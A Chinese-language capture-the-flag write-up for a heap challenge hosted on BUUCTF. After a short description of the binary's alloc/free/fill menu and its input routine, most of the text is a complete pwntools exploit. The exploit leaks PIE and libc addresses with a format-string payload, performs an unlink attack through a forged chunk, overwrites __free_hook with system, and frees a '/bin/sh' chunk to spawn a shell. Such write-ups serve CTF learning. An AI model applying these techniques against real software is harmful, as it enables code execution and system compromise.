查看保护
查看ida
大致就是alloc创建堆块,free释放堆块,以及fill填充堆块
解释get input函数:
这里解释一下get input函数
这个函数是人工编写的,其中*v4==10那里是把接受到的换行符变为\x00,并且结束输入。
v3++那里,v3是统计输入的个数,并且在v3大于或等于我们申请的堆块大小+1时停止输入。
但还是有一个要注意的点,我在创建堆块的函数那里填充堆块没有办法填充多一个字节,不知道是我的操作问题还是程序就是这样。
完整exp:
from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./heap')
p=remote('node5.buuoj.cn',26755)
key=0x202040
note=0x202060
def alloc(index,size,content):
p.sendlineafter(b'>>',str(1))
p.sendlineafter(b'Enter the index you want to create (0-10):',str(index))
p.sendlineafter(b'Enter a size:',str(size))
p.sendlineafter(b'Enter the content:',content)
def free(index):
p.sendlineafter(b'>>',str(2))
p.sendlineafter(b'Enter an index:',str(index))
def fill(index,content):
p.sendlineafter(b'>>',str(4))
p.sendlineafter(b'Enter an index:',str(index))
p.sendlineafter(b'Enter the content:',content)
p.sendlineafter(b'Enter your name:',b'%11$p%15$p') #泄露程序地址和libc地址
p.recvuntil(b'Hello, ')
main28=int(p.recv(14),16)
main=main28-28 #有这个地址才能找到note的地址
base=main-0x116a
note=base+0x202060 #基地址加偏移
libc_start_main240=int(p.recv(14),16)
libc_start_main=libc_start_main240-240
libc=LibcSearcher('__libc_start_main',libc_start_main)
libcbase=libc_start_main-libc.dump('__libc_start_main')
print(hex(libcbase))
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
freehook=libcbase+libc.dump('__free_hook')
alloc(0,0x88,p64(0))
alloc(1,0x88,p64(0))
alloc(2,0x88,b'/bin/sh\x00')
payload=p64(0)+p64(0x81)+p64(note-0x18)+p64(note-0x10)
payload=payload.ljust(0x80,b'\x00')
payload+=p64(0x80)+p8(0x90)
fill(0,payload)
free(1)
payload=p64(0)*3+p64(freehook)+p64(0x8) #覆盖chunk0为freehook
fill(0,payload)
payload=p64(system)
fill(0,payload)
free(2)
p.interactive()